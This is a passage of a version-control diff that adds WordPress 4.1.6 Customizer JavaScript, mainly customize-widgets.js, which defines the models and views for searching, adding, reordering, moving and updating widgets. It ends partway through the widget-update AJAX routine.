+				callback: function( to ) { return 'page' === to; }
+			},
+			'header_textcolor': {
+				controls: [ 'header_textcolor' ],
+				callback: function( to ) { return 'blank' !== to; }
+			}
+		}, function( settingId, o ) {
+			api( settingId, function( setting ) {
+				$.each( o.controls, function( i, controlId ) {
+					api.control( controlId, function( control ) {
+						var visibility = function( to ) {
+							control.container.toggle( o.callback( to ) );
+						};
+
+						visibility( setting.get() );
+						setting.bind( visibility );
+					});
+				});
+			});
+		});
+
+		// Juggle the two controls that use header_textcolor
+		api.control( 'display_header_text', function( control ) {
+			var last = '';
+
+			control.elements[0].unsync( api( 'header_textcolor' ) );
+
+			control.element = new api.Element( control.container.find('input') );
+			control.element.set( 'blank' !== control.setting() );
+
+			control.element.bind( function( to ) {
+				if ( ! to )
+					last = api( 'header_textcolor' ).get();
+
+				control.setting.set( to ? last : 'blank' );
+			});
+
+			control.setting.bind( function( to ) {
+				control.element.set( 'blank' !== to );
+			});
+		});
+
+		api.trigger( 'ready' );
+
+		// Make sure left column gets focus
+		topFocus = closeBtn;
+		topFocus.focus();
+		setTimeout(function () {
+			topFocus.focus();
+		}, 200);
+
+	});
+
+})( wp, jQuery );
Index: /tags/4.1.6/src/wp-admin/js/customize-widgets.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/customize-widgets.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/customize-widgets.js	(revision 33402)
@@ -0,0 +1,1977 @@
+/* global _wpCustomizeWidgetsSettings */
+(function( wp, $ ){
+
+	if ( ! wp || ! wp.customize ) { return; }
+
+	// Set up our namespace...
+	var api = wp.customize,
+		l10n;
+
+	api.Widgets = api.Widgets || {};
+
+	// Link settings
+	api.Widgets.data = _wpCustomizeWidgetsSettings || {};
+	l10n = api.Widgets.data.l10n;
+	delete api.Widgets.data.l10n;
+
+	/**
+	 * wp.customize.Widgets.WidgetModel
+	 *
+	 * A single widget model.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.WidgetModel = Backbone.Model.extend({
+		id: null,
+		temp_id: null,
+		classname: null,
+		control_tpl: null,
+		description: null,
+		is_disabled: null,
+		is_multi: null,
+		multi_number: null,
+		name: null,
+		id_base: null,
+		transport: 'refresh',
+		params: [],
+		width: null,
+		height: null,
+		search_matched: true
+	});
+
+	/**
+	 * wp.customize.Widgets.WidgetCollection
+	 *
+	 * Collection for widget models.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.WidgetCollection = Backbone.Collection.extend({
+		model: api.Widgets.WidgetModel,
+
+		// Controls searching on the current widget collection
+		// and triggers an update event
+		doSearch: function( value ) {
+
+			// Don't do anything if we've already done this search
+			// Useful because the search handler fires multiple times per keystroke
+			if ( this.terms === value ) {
+				return;
+			}
+
+			// Updates terms with the value passed
+			this.terms = value;
+
+			// If we have terms, run a search...
+			if ( this.terms.length > 0 ) {
+				this.search( this.terms );
+			}
+
+			// If search is blank, show all themes
+			// Useful for resetting the views when you clean the input
+			if ( this.terms === '' ) {
+				this.each( function ( widget ) {
+					widget.set( 'search_matched', true );
+				} );
+			}
+		},
+
+		// Performs a search within the collection
+		// @uses RegExp
+		search: function( term ) {
+			var match, haystack;
+
+			// Escape the term string for RegExp meta characters
+			term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
+
+			// Consider spaces as word delimiters and match the whole string
+			// so matching terms can be combined
+			term = term.replace( / /g, ')(?=.*' );
+			match = new RegExp( '^(?=.*' + term + ').+', 'i' );
+
+			this.each( function ( data ) {
+				haystack = [ data.get( 'name' ), data.get( 'id' ), data.get( 'description' ) ].join( ' ' );
+				data.set( 'search_matched', match.test( haystack ) );
+			} );
+		}
+	});
+	api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );
+
+	/**
+	 * wp.customize.Widgets.SidebarModel
+	 *
+	 * A single sidebar model.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.SidebarModel = Backbone.Model.extend({
+		after_title: null,
+		after_widget: null,
+		before_title: null,
+		before_widget: null,
+		'class': null,
+		description: null,
+		id: null,
+		name: null,
+		is_rendered: false
+	});
+
+	/**
+	 * wp.customize.Widgets.SidebarCollection
+	 *
+	 * Collection for sidebar models.
+	 *
+	 * @constructor
+	 * @augments Backbone.Collection
+	 */
+	api.Widgets.SidebarCollection = Backbone.Collection.extend({
+		model: api.Widgets.SidebarModel
+	});
+	api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );
+
+	/**
+	 * wp.customize.Widgets.AvailableWidgetsPanelView
+	 *
+	 * View class for the available widgets panel.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend({
+
+		el: '#available-widgets',
+
+		events: {
+			'input #widgets-search': 'search',
+			'keyup #widgets-search': 'search',
+			'change #widgets-search': 'search',
+			'search #widgets-search': 'search',
+			'focus .widget-tpl' : 'focus',
+			'click .widget-tpl' : '_submit',
+			'keypress .widget-tpl' : '_submit',
+			'keydown' : 'keyboardAccessible'
+		},
+
+		// Cache current selected widget
+		selected: null,
+
+		// Cache sidebar control which has opened panel
+		currentSidebarControl: null,
+		$search: null,
+
+		initialize: function() {
+			var self = this;
+
+			this.$search = $( '#widgets-search' );
+
+			_.bindAll( this, 'close' );
+
+			this.listenTo( this.collection, 'change', this.updateList );
+
+			this.updateList();
+
+			// If the available widgets panel is open and the customize controls are
+			// interacted with (i.e. available widgets panel is blurred) then close the
+			// available widgets panel.
+			$( '#customize-controls' ).on( 'click keydown', function( e ) {
+				var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' );
+				if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) {
+					self.close();
+				}
+			} );
+
+			// Close the panel if the URL in the preview changes
+			api.previewer.bind( 'url', this.close );
+		},
+
+		// Performs a search and handles selected widget
+		search: function( event ) {
+			var firstVisible;
+
+			this.collection.doSearch( event.target.value );
+
+			// Remove a widget from being selected if it is no longer visible
+			if ( this.selected && ! this.selected.is( ':visible' ) ) {
+				this.selected.removeClass( 'selected' );
+				this.selected = null;
+			}
+
+			// If a widget was selected but the filter value has been cleared out, clear selection
+			if ( this.selected && ! event.target.value ) {
+				this.selected.removeClass( 'selected' );
+				this.selected = null;
+			}
+
+			// If a filter has been entered and a widget hasn't been selected, select the first one shown
+			if ( ! this.selected && event.target.value ) {
+				firstVisible = this.$el.find( '> .widget-tpl:visible:first' );
+				if ( firstVisible.length ) {
+					this.select( firstVisible );
+				}
+			}
+		},
+
+		// Changes visibility of available widgets
+		updateList: function() {
+			this.collection.each( function( widget ) {
+				var widgetTpl = $( '#widget-tpl-' + widget.id );
+				widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
+				if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
+					this.selected = null;
+				}
+			} );
+		},
+
+		// Highlights a widget
+		select: function( widgetTpl ) {
+			this.selected = $( widgetTpl );
+			this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
+			this.selected.addClass( 'selected' );
+		},
+
+		// Highlights a widget on focus
+		focus: function( event ) {
+			this.select( $( event.currentTarget ) );
+		},
+
+		// Submit handler for keypress and click on widget
+		_submit: function( event ) {
+			// Only proceed with keypress if it is Enter or Spacebar
+			if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+				return;
+			}
+
+			this.submit( $( event.currentTarget ) );
+		},
+
+		// Adds a selected widget to the sidebar
+		submit: function( widgetTpl ) {
+			var widgetId, widget;
+
+			if ( ! widgetTpl ) {
+				widgetTpl = this.selected;
+			}
+
+			if ( ! widgetTpl || ! this.currentSidebarControl ) {
+				return;
+			}
+
+			this.select( widgetTpl );
+
+			widgetId = $( this.selected ).data( 'widget-id' );
+			widget = this.collection.findWhere( { id: widgetId } );
+			if ( ! widget ) {
+				return;
+			}
+
+			this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
+
+			this.close();
+		},
+
+		// Opens the panel
+		open: function( sidebarControl ) {
+			this.currentSidebarControl = sidebarControl;
+
+			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens
+			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
+				if ( control.params.is_wide ) {
+					control.collapseForm();
+				}
+			} );
+
+			$( 'body' ).addClass( 'adding-widget' );
+
+			this.$el.find( '.selected' ).removeClass( 'selected' );
+
+			// Reset search
+			this.collection.doSearch( '' );
+
+			this.$search.focus();
+		},
+
+		// Closes the panel
+		close: function( options ) {
+			options = options || {};
+
+			if ( options.returnFocus && this.currentSidebarControl ) {
+				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
+			}
+
+			this.currentSidebarControl = null;
+			this.selected = null;
+
+			$( 'body' ).removeClass( 'adding-widget' );
+
+			this.$search.val( '' );
+		},
+
+		// Add keyboard accessiblity to the panel
+		keyboardAccessible: function( event ) {
+			var isEnter = ( event.which === 13 ),
+				isEsc = ( event.which === 27 ),
+				isDown = ( event.which === 40 ),
+				isUp = ( event.which === 38 ),
+				isTab = ( event.which === 9 ),
+				isShift = ( event.shiftKey ),
+				selected = null,
+				firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
+				lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
+				isSearchFocused = $( event.target ).is( this.$search ),
+				isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );
+
+			if ( isDown || isUp ) {
+				if ( isDown ) {
+					if ( isSearchFocused ) {
+						selected = firstVisible;
+					} else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
+						selected = this.selected.nextAll( '.widget-tpl:visible:first' );
+					}
+				} else if ( isUp ) {
+					if ( isSearchFocused ) {
+						selected = lastVisible;
+					} else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
+						selected = this.selected.prevAll( '.widget-tpl:visible:first' );
+					}
+				}
+
+				this.select( selected );
+
+				if ( selected ) {
+					selected.focus();
+				} else {
+					this.$search.focus();
+				}
+
+				return;
+			}
+
+			// If enter pressed but nothing entered, don't do anything
+			if ( isEnter && ! this.$search.val() ) {
+				return;
+			}
+
+			if ( isEnter ) {
+				this.submit();
+			} else if ( isEsc ) {
+				this.close( { returnFocus: true } );
+			}
+
+			if ( isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
+				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
+				event.preventDefault();
+			}
+		}
+	});
+
+	/**
+	 * Handlers for the widget-synced event, organized by widget ID base.
+	 * Other widgets may provide their own update handlers by adding
+	 * listeners for the widget-synced event.
+	 */
+	api.Widgets.formSyncHandlers = {
+
+		/**
+		 * @param {jQuery.Event} e
+		 * @param {jQuery} widget
+		 * @param {String} newForm
+		 */
+		rss: function( e, widget, newForm ) {
+			var oldWidgetError = widget.find( '.widget-error:first' ),
+				newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );
+
+			if ( oldWidgetError.length && newWidgetError.length ) {
+				oldWidgetError.replaceWith( newWidgetError );
+			} else if ( oldWidgetError.length ) {
+				oldWidgetError.remove();
+			} else if ( newWidgetError.length ) {
+				widget.find( '.widget-content:first' ).prepend( newWidgetError );
+			}
+		}
+	};
+
+	/**
+	 * wp.customize.Widgets.WidgetControl
+	 *
+	 * Customizer control for widgets.
+	 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Widgets.WidgetControl = api.Control.extend({
+		defaultExpandedArguments: {
+			duration: 'fast',
+			completeCallback: $.noop
+		},
+
+		/**
+		 * @since 4.1.0
+		 */
+		initialize: function ( id, options ) {
+			var control = this;
+			api.Control.prototype.initialize.call( control, id, options );
+			control.expanded = new api.Value();
+			control.expandedArgumentsQueue = [];
+			control.expanded.bind( function ( expanded ) {
+				var args = control.expandedArgumentsQueue.shift();
+				args = $.extend( {}, control.defaultExpandedArguments, args );
+				control.onChangeExpanded( expanded, args );
+			});
+			control.expanded.set( false );
+		},
+
+		/**
+		 * Set up the control
+		 */
+		ready: function() {
+			this._setupModel();
+			this._setupWideWidget();
+			this._setupControlToggle();
+			this._setupWidgetTitle();
+			this._setupReorderUI();
+			this._setupHighlightEffects();
+			this._setupUpdateUI();
+			this._setupRemoveUI();
+
+			/*
+			 * Trigger widget-added event so that plugins can attach any event
+			 * listeners and dynamic UI elements.
+			 */
+			$( document ).trigger( 'widget-added', [ this.container.find( '.widget:first' ) ] );
+		},
+
+		/**
+		 * Handle changes to the setting
+		 */
+		_setupModel: function() {
+			var self = this, rememberSavedWidgetId;
+
+			api.Widgets.savedWidgetIds = api.Widgets.savedWidgetIds || [];
+
+			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar)
+			rememberSavedWidgetId = function() {
+				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
+			};
+			api.bind( 'ready', rememberSavedWidgetId );
+			api.bind( 'saved', rememberSavedWidgetId );
+
+			this._updateCount = 0;
+			this.isWidgetUpdating = false;
+			this.liveUpdateMode = true;
+
+			// Update widget whenever model changes
+			this.setting.bind( function( to, from ) {
+				if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
+					self.updateWidget( { instance: to } );
+				}
+			} );
+		},
+
+		/**
+		 * Add special behaviors for wide widget controls
+		 */
+		_setupWideWidget: function() {
+			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
+				$themeControlsContainer, positionWidget;
+
+			if ( ! this.params.is_wide ) {
+				return;
+			}
+
+			$widgetInside = this.container.find( '.widget-inside' );
+			$widgetForm = $widgetInside.find( '> .form' );
+			$customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
+			this.container.addClass( 'wide-widget-control' );
+
+			this.container.find( '.widget-content:first' ).css( {
+				'max-width': this.params.width,
+				'min-height': this.params.height
+			} );
+
+			/**
+			 * Keep the widget-inside positioned so the top of fixed-positioned
+			 * element is at the same top position as the widget-top. When the
+			 * widget-top is scrolled out of view, keep the widget-top in view;
+			 * likewise, don't allow the widget to drop off the bottom of the window.
+			 * If a widget is too tall to fit in the window, don't let the height
+			 * exceed the window height so that the contents of the widget control
+			 * will become scrollable (overflow:auto).
+			 */
+			positionWidget = function() {
+				var offsetTop = self.container.offset().top,
+					windowHeight = $( window ).height(),
+					formHeight = $widgetForm.outerHeight(),
+					top;
+				$widgetInside.css( 'max-height', windowHeight );
+				top = Math.max(
+					0, // prevent top from going off screen
+					Math.min(
+						Math.max( offsetTop, 0 ), // distance widget in panel is from top of screen
+						windowHeight - formHeight // flush up against bottom of screen
+					)
+				);
+				$widgetInside.css( 'top', top );
+			};
+
+			$themeControlsContainer = $( '#customize-theme-controls' );
+			this.container.on( 'expand', function() {
+				positionWidget();
+				$customizeSidebar.on( 'scroll', positionWidget );
+				$( window ).on( 'resize', positionWidget );
+				$themeControlsContainer.on( 'expanded collapsed', positionWidget );
+			} );
+			this.container.on( 'collapsed', function() {
+				$customizeSidebar.off( 'scroll', positionWidget );
+				$( window ).off( 'resize', positionWidget );
+				$themeControlsContainer.off( 'expanded collapsed', positionWidget );
+			} );
+
+			// Reposition whenever a sidebar's widgets are changed
+			api.each( function( setting ) {
+				if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
+					setting.bind( function() {
+						if ( self.container.hasClass( 'expanded' ) ) {
+							positionWidget();
+						}
+					} );
+				}
+			} );
+		},
+
+		/**
+		 * Show/hide the control when clicking on the form title, when clicking
+		 * the close button
+		 */
+		_setupControlToggle: function() {
+			var self = this, $closeBtn;
+
+			this.container.find( '.widget-top' ).on( 'click', function( e ) {
+				e.preventDefault();
+				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
+				if ( sidebarWidgetsControl.isReordering ) {
+					return;
+				}
+				self.expanded( ! self.expanded() );
+			} );
+
+			$closeBtn = this.container.find( '.widget-control-close' );
+			$closeBtn.on( 'click', function( e ) {
+				e.preventDefault();
+				self.collapse();
+				self.container.find( '.widget-top .widget-action:first' ).focus(); // keyboard accessibility
+			} );
+		},
+
+		/**
+		 * Update the title of the form if a title field is entered
+		 */
+		_setupWidgetTitle: function() {
+			var self = this, updateTitle;
+
+			updateTitle = function() {
+				var title = self.setting().title,
+					inWidgetTitle = self.container.find( '.in-widget-title' );
+
+				if ( title ) {
+					inWidgetTitle.text( ': ' + title );
+				} else {
+					inWidgetTitle.text( '' );
+				}
+			};
+			this.setting.bind( updateTitle );
+			updateTitle();
+		},
+
+		/**
+		 * Set up the widget-reorder-nav
+		 */
+		_setupReorderUI: function() {
+			var self = this, selectSidebarItem, $moveWidgetArea,
+				$reorderNav, updateAvailableSidebars;
+
+			/**
+			 * select the provided sidebar list item in the move widget area
+			 *
+			 * @param {jQuery} li
+			 */
+			selectSidebarItem = function( li ) {
+				li.siblings( '.selected' ).removeClass( 'selected' );
+				li.addClass( 'selected' );
+				var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
+				self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
+			};
+
+			/**
+			 * Add the widget reordering elements to the widget control
+			 */
+			this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );
+			$moveWidgetArea = $(
+				_.template( api.Widgets.data.tpl.moveWidgetArea, {
+					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
+				} )
+			);
+			this.container.find( '.widget-top' ).after( $moveWidgetArea );
+
+			/**
+			 * Update available sidebars when their rendered state changes
+			 */
+			updateAvailableSidebars = function() {
+				var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem;
+
+				selfSidebarItem = $sidebarItems.filter( function(){
+					return $( this ).data( 'id' ) === self.params.sidebar_id;
+				} );
+
+				$sidebarItems.each( function() {
+					var li = $( this ),
+						sidebarId,
+						sidebar;
+
+					sidebarId = li.data( 'id' );
+					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
+
+					li.toggle( sidebar.get( 'is_rendered' ) );
+
+					if ( li.hasClass( 'selected' ) && ! sidebar.get( 'is_rendered' ) ) {
+						selectSidebarItem( selfSidebarItem );
+					}
+				} );
+			};
+
+			updateAvailableSidebars();
+			api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );
+
+			/**
+			 * Handle clicks for up/down/move on the reorder nav
+			 */
+			$reorderNav = this.container.find( '.widget-reorder-nav' );
+			$reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
+				$( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
+			} ).on( 'click keypress', function( event ) {
+				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+					return;
+				}
+				$( this ).focus();
+
+				if ( $( this ).is( '.move-widget' ) ) {
+					self.toggleWidgetMoveArea();
+				} else {
+					var isMoveDown = $( this ).is( '.move-widget-down' ),
+						isMoveUp = $( this ).is( '.move-widget-up' ),
+						i = self.getWidgetSidebarPosition();
+
+					if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
+						return;
+					}
+
+					if ( isMoveUp ) {
+						self.moveUp();
+						$( '#screen-reader-messages' ).text( l10n.widgetMovedUp );
+					} else {
+						self.moveDown();
+						$( '#screen-reader-messages' ).text( l10n.widgetMovedDown );
+					}
+
+					$( this ).focus(); // re-focus after the container was moved
+				}
+			} );
+
+			/**
+			 * Handle selecting a sidebar to move to
+			 */
+			this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( e ) {
+				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+					return;
+				}
+				e.preventDefault();
+				selectSidebarItem( $( this ) );
+			} );
+
+			/**
+			 * Move widget to another sidebar
+			 */
+			this.container.find( '.move-widget-btn' ).click( function() {
+				self.getSidebarWidgetsControl().toggleReordering( false );
+
+				var oldSidebarId = self.params.sidebar_id,
+					newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
+					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
+					oldSidebarWidgetIds, newSidebarWidgetIds, i;
+
+				oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
+				newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
+				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
+				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );
+
+				i = self.getWidgetSidebarPosition();
+				oldSidebarWidgetIds.splice( i, 1 );
+				newSidebarWidgetIds.push( self.params.widget_id );
+
+				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
+				newSidebarWidgetsSetting( newSidebarWidgetIds );
+
+				self.focus();
+			} );
+		},
+
+		/**
+		 * Highlight widgets in preview when interacted with in the Customizer
+		 */
+		_setupHighlightEffects: function() {
+			var self = this;
+
+			// Highlight whenever hovering or clicking over the form
+			this.container.on( 'mouseenter click', function() {
+				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
+			} );
+
+			// Highlight when the setting is updated
+			this.setting.bind( function() {
+				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
+			} );
+		},
+
+		/**
+		 * Set up event handlers for widget updating
+		 */
+		_setupUpdateUI: function() {
+			var self = this, $widgetRoot, $widgetContent,
+				$saveBtn, updateWidgetDebounced, formSyncHandler;
+
+			$widgetRoot = this.container.find( '.widget:first' );
+			$widgetContent = $widgetRoot.find( '.widget-content:first' );
+
+			// Configure update button
+			$saveBtn = this.container.find( '.widget-control-save' );
+			$saveBtn.val( l10n.saveBtnLabel );
+			$saveBtn.attr( 'title', l10n.saveBtnTooltip );
+			$saveBtn.removeClass( 'button-primary' ).addClass( 'button-secondary' );
+			$saveBtn.on( 'click', function( e ) {
+				e.preventDefault();
+				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
+			} );
+
+			updateWidgetDebounced = _.debounce( function() {
+				self.updateWidget();
+			}, 250 );
+
+			// Trigger widget form update when hitting Enter within an input
+			$widgetContent.on( 'keydown', 'input', function( e ) {
+				if ( 13 === e.which ) { // Enter
+					e.preventDefault();
+					self.updateWidget( { ignoreActiveElement: true } );
+				}
+			} );
+
+			// Handle widgets that support live previews
+			$widgetContent.on( 'change input propertychange', ':input', function( e ) {
+				if ( self.liveUpdateMode ) {
+					if ( e.type === 'change' ) {
+						self.updateWidget();
+					} else if ( this.checkValidity && this.checkValidity() ) {
+						updateWidgetDebounced();
+					}
+				}
+			} );
+
+			// Remove loading indicators when the setting is saved and the preview updates
+			this.setting.previewer.channel.bind( 'synced', function() {
+				self.container.removeClass( 'previewer-loading' );
+			} );
+
+			api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
+				if ( updatedWidgetId === self.params.widget_id ) {
+					self.container.removeClass( 'previewer-loading' );
+				}
+			} );
+
+			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
+			if ( formSyncHandler ) {
+				$( document ).on( 'widget-synced', function( e, widget ) {
+					if ( $widgetRoot.is( widget ) ) {
+						formSyncHandler.apply( document, arguments );
+					}
+				} );
+			}
+		},
+
+		/**
+		 * Update widget control to indicate whether it is currently rendered.
+		 *
+		 * Overrides api.Control.toggle()
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean}   active
+		 * @param {Object}    args
+		 * @param {Callback}  args.completeCallback
+		 */
+		onChangeActive: function ( active, args ) {
+			// Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments
+			this.container.toggleClass( 'widget-rendered', active );
+			if ( args.completeCallback ) {
+				args.completeCallback();
+			}
+		},
+
+		/**
+		 * Set up event handlers for widget removal
+		 */
+		_setupRemoveUI: function() {
+			var self = this, $removeBtn, replaceDeleteWithRemove;
+
+			// Configure remove button
+			$removeBtn = this.container.find( 'a.widget-control-remove' );
+			$removeBtn.on( 'click', function( e ) {
+				e.preventDefault();
+
+				// Find an adjacent element to add focus to when this widget goes away
+				var $adjacentFocusTarget;
+				if ( self.container.next().is( '.customize-control-widget_form' ) ) {
+					$adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
+				} else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
+					$adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
+				} else {
+					$adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
+				}
+
+				self.container.slideUp( function() {
+					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
+						sidebarWidgetIds, i;
+
+					if ( ! sidebarsWidgetsControl ) {
+						return;
+					}
+
+					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
+					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
+					if ( -1 === i ) {
+						return;
+					}
+
+					sidebarWidgetIds.splice( i, 1 );
+					sidebarsWidgetsControl.setting( sidebarWidgetIds );
+
+					$adjacentFocusTarget.focus(); // keyboard accessibility
+				} );
+			} );
+
+			replaceDeleteWithRemove = function() {
+				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the link as "Delete"
+				$removeBtn.attr( 'title', l10n.removeBtnTooltip );
+			};
+
+			if ( this.params.is_new ) {
+				api.bind( 'saved', replaceDeleteWithRemove );
+			} else {
+				replaceDeleteWithRemove();
+			}
+		},
+
+		/**
+		 * Find all inputs in a widget container that should be considered when
+		 * comparing the loaded form with the sanitized form, whose fields will
+		 * be aligned to copy the sanitized over. The elements returned by this
+		 * are passed into this._getInputsSignature(), and they are iterated
+		 * over when copying sanitized values over to the the form loaded.
+		 *
+		 * @param {jQuery} container element in which to look for inputs
+		 * @returns {jQuery} inputs
+		 * @private
+		 */
+		_getInputs: function( container ) {
+			return $( container ).find( ':input[name]' );
+		},
+
+		/**
+		 * Iterate over supplied inputs and create a signature string for all of them together.
+		 * This string can be used to compare whether or not the form has all of the same fields.
+		 *
+		 * @param {jQuery} inputs
+		 * @returns {string}
+		 * @private
+		 */
+		_getInputsSignature: function( inputs ) {
+			var inputsSignatures = _( inputs ).map( function( input ) {
+				var $input = $( input ), signatureParts;
+
+				if ( $input.is( ':checkbox, :radio' ) ) {
+					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
+				} else {
+					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
+				}
+
+				return signatureParts.join( ',' );
+			} );
+
+			return inputsSignatures.join( ';' );
+		},
+
+		/**
+		 * Get the property that represents the state of an input.
+		 *
+		 * @param {jQuery|DOMElement} input
+		 * @returns {string}
+		 * @private
+		 */
+		_getInputStatePropertyName: function( input ) {
+			var $input = $( input );
+
+			if ( $input.is( ':radio, :checkbox' ) ) {
+				return 'checked';
+			} else {
+				return 'value';
+			}
+		},
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
+		 */
+		getSidebarWidgetsControl: function() {
+			var settingId, sidebarWidgetsControl;
+
+			settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
+			sidebarWidgetsControl = api.control( settingId );
+
+			if ( ! sidebarWidgetsControl ) {
+				return;
+			}
+
+			return sidebarWidgetsControl;
+		},
+
+		/**
+		 * Submit the widget form via Ajax and get back the updated instance,
+		 * along with the new widget control form to render.
+		 *
+		 * @param {object} [args]
+		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
+		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
+		 * @param {Boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
+		 */
+		updateWidget: function( args ) {
+			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
+				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;
+
+			args = $.extend( {
+				instance: null,
+				complete: null,
+				ignoreActiveElement: false
+			}, args );
+
+			instanceOverride = args.instance;
+			completeCallback = args.complete;
+
+			this._updateCount += 1;
+			updateNumber = this._updateCount;
+
+			$widgetRoot = this.container.find( '.widget:first' );
+			$widgetContent = $widgetRoot.find( '.widget-content:first' );
+
+			// Remove a previous error message
+			$widgetContent.find( '.widget-error' ).remove();
+
+			this.container.addClass( 'widget-form-loading' );
+			this.container.addClass( 'previewer-loading' );
+			processing = api.state( 'processing' );
+			processing( processing() + 1 );
+
+			if ( ! this.liveUpdateMode ) {
+				this.container.addClass( 'widget-form-disabled' );
+			}
+
+			params = {};
+			params.action = 'update-widget';
+			params.wp_customize = 'on';
+			params.nonce = api.Widgets.data.nonce;
+			params.theme = api.settings.theme.stylesheet;
+
+			data = $.param( params );
+			$inputs = this._getInputs( $widgetContent );
+
+			// Store the value we're submitting in data so that when the response comes back,
+			// we know if it got sanitized; if there is no difference in the sanitized value,
+			// then we do not need to touch the UI and mess up the user's ongoing editing.
+			$inputs.each( function() {
+				var input = $( this ),
+					property = self._getInputStatePropertyName( this );
+				input.data( 'state' + updateNumber, input.prop( property ) );
+			} );
+
+			if ( instanceOverride ) {
+				data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
+			} else {
+				data += '&' + $inputs.serialize();
+			}
+			data += '&' + $widgetContent.find( '~ :input' ).serialize();
+
+			jqxhr = $.post( wp.ajax.settings.url, data );
+
+			jqxhr.done( function( r ) {
+				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
+					isLiveUpdateAborted = false;
+
